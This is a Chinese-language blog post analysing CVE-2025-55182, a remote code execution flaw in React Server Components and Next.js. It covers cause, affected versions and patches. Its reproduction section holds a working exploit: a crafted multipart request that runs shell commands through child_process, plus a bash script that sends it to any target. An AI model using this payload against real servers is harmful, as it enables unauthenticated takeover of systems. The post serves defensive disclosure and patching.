引言

React Server Components(RSC)作为React 19的核心特性,通过允许组件在服务器端运行,显著提升了Web应用的性能与开发体验。然而,近期披露的CVE-2025-55182/CVE-2025-66478漏洞,直接命中RSC的核心通信机制——React Flight协议,导致攻击者可在无需认证的情况下,通过构造恶意请求远程执行任意命令,风险等级高达CVSS 9.8-10.0。本文将深入分析该漏洞的技术原理、受影响范围及修复方案,并提供复现步骤,帮助开发者快速识别与防御风险。

验证环境

这次使用的设备是天枢平台的两台 openEuler 22.03sp4 服务器和一台交换机模拟企业级虚拟专用网络场景。
本实验基于以下环境配置:​

一、React Server Components 背景

1.1 RSC 核心能力

React Server Components(RSC)是React体系的重大突破,主要解决了传统客户端渲染的性能瓶颈:

  • 服务器端运行:组件逻辑在服务器执行,而非浏览器
  • 直接访问后端资源:可直接调用数据库、文件系统或API
  • 无缝融合SSR与客户端交互:兼顾首屏速度与交互体验
  • 保护敏感逻辑:避免将核心业务逻辑暴露到客户端
  • 减小客户端bundle体积:仅传输必要的组件结构,加速加载

1.2 React Flight 协议

RSC通过React Flight协议与客户端通信,传输的不是HTML,而是组件的序列化结构。客户端接收后,基于这些结构重构UI视图。这一协议的设计初衷是高效、安全,但本次漏洞正出在序列化/反序列化的验证环节。

二、漏洞概述(CVE-2025-55182)

2.1 漏洞根本原因

React在解析客户端返回的Flight Payload时,缺少对Server Action调用的严格验证。攻击者可通过构造恶意请求,将payload伪装为合法的Server Action调用,绕过安全检查,最终在服务器端执行任意JavaScript代码。

2.2 漏洞危害

该漏洞允许攻击者:

  • ✅ 远程执行任意JavaScript命令
  • ✅ 控制服务器文件读写(如读取敏感配置、写入webshell)
  • ✅ 触发任意数据库操作(如删除数据、篡改业务逻辑)
  • ✅ 最终接管整个服务器运行时环境

2.3 漏洞特性

  • 无需认证:攻击者无需获取任何权限即可发起攻击
  • 无需依赖SSRF/CSRF:单请求即可触发,攻击链极短
  • 影响默认配置:使用RSC的项目默认存在风险
  • 高危级别:CVSS评分9.8-10.0,属于最高风险等级

三、受影响版本

3.1 核心依赖版本

  • React生态:React 19.0/19.1/19.2,React-Server-DOM,React-Server-DOM-Webpack
  • Next.js
    • 15.x系列(15.0.x~15.5.x)
    • 16.x系列
    • 14.3.0-canary.77及以后的试验版

3.2 受影响条件

项目需同时满足:

  1. 使用React 19或兼容RSC的React-Server-DOM;
  2. 使用Next.js(15.x/16.x/受影响Canary)+ App Router + 启用RSC/Server Components。

四、修复建议

4.1 优先级措施

优先级 建议措施 说明
⭐ 必须 升级至安全版本 官方已发布修复,升级是最直接有效的方案
⭐ 推荐 启用Server Action校验机制 仅允许调用已声明的Server Action,阻止任意函数注入
⭐ 建议 为敏感Server Action添加请求验证 如Token、HMAC或用户上下文绑定,增强请求合法性校验
⚠ 可选 限制接口访问边界 通过RBAC、IP限制、网关鉴权等减少攻击面
❌ 不推荐 仅依赖WAF过滤Flight Payload Flight数据支持压缩、Base64、Chunk编码,WAF难以可靠检测

4.2 已修复版本

组件 安全版本范围
React/React-DOM/React Server DOM ≥ 19.0.1(含19.0.1/19.1.2/19.2.1)
Next.js ≥ 16.0.7

五、POC与复现验证

5.1 原始POC请求

POST / HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 459

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('xcalc');","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

5.2 复现步骤

步骤1:初始化Next.js项目

使用create-next-app创建项目,并必须选择App Router

npx create-next-app@14.0.3 normal-rsc-demo
# 选择:Yes(TypeScript)、Yes(ESLint)、Yes(Tailwind)、No(src目录)、Yes(App Router)、No(自定义别名)
步骤2:修改依赖为受影响版本

编辑package.json,将React/Next.js版本调整为受影响范围:

{
  "dependencies": {
    "next": "15.0.4",
    "react": "19.2.0",
    "react-dom": "19.2.0"
  }
}

执行npm install安装依赖。

步骤3:启动开发服务
npm run dev

服务将在http://localhost:3000启动。

步骤4:执行漏洞利用脚本

创建test.sh脚本(示例执行touch /tmp/1):

#!/bin/bash
# CVE-2025-55182 Next.js RSC RCE Exploit

TARGET=$1
CMD=$2
TIMEOUT=3

echo "[*] CVE-2025-55182 Next.js RSC RCE Exploit"
echo "[*] Target: $TARGET"
echo "[*] Command: $CMD"
echo "[*] Timeout: $TIMEOUTs"
echo ""

# 构造payload
PAYLOAD=$(cat <<EOF
{"then":"\$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"\\\$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('$CMD');","_formData":{"get":"\$1:constructor:constructor"}}}
EOF
)

# 发送请求
curl -s -X POST "$TARGET" \
  -H "Next-Action: x" \
  -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
  -d $'------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\nContent-Disposition: form-data; name="0"\r\n\r\n'"$PAYLOAD"$'\r\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\nContent-Disposition: form-data; name="1"\r\n\r\n"\$@0"\r\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad--\r\n' \
  --max-time $TIMEOUT

# 检查结果
if [ $? -eq 28 ]; then
  echo ""
  echo "[+] SUCCESS - Request timed out (server hung executing command)"
  echo "[+] Command '$CMD' was likely executed on the target"
else
  echo ""
  echo "[-] Exploit failed or command completed quickly"
fi

赋予执行权限并运行:

chmod +x test.sh
./test.sh http://localhost:3000 'touch /tmp/1'
步骤5:验证结果

检查/tmp目录是否生成文件1

ls /tmp
# 输出:1

六、快速复现验证

天枢一体化虚拟仿真平台已经集成 CVE-2025-55182 漏洞环境,诚邀各位体验测试!
在这里插入图片描述

七、总结

CVE-2025-55182是React Server Components的重大安全漏洞,直接威胁使用RSC的Next.js应用。由于其无需认证、单请求触发的特性,攻击者可轻松实现远程命令执行,风险极高。

关键防御建议

  1. 立即升级依赖:将React/Next.js升级至官方修复版本;
  2. 启用Server Action校验:限制Server Action的调用范围;
  3. 增强请求验证:为敏感操作添加额外的身份或上下文校验;
  4. 定期安全审计:关注React/Next.js官方安全公告,及时响应漏洞。

RSC作为React生态的核心演进方向,其安全性需要开发者持续关注。在享受性能提升的同时,务必重视安全配置,避免因默认设置导致的安全风险。

注意:本文POC仅用于授权环境的漏洞验证,请勿用于非法用途。开发者应遵守法律法规,仅在合法授权下进行安全测试。

Logo

腾讯云面向开发者汇聚海量精品云计算使用和开发经验,营造开放的云计算技术生态圈。

更多推荐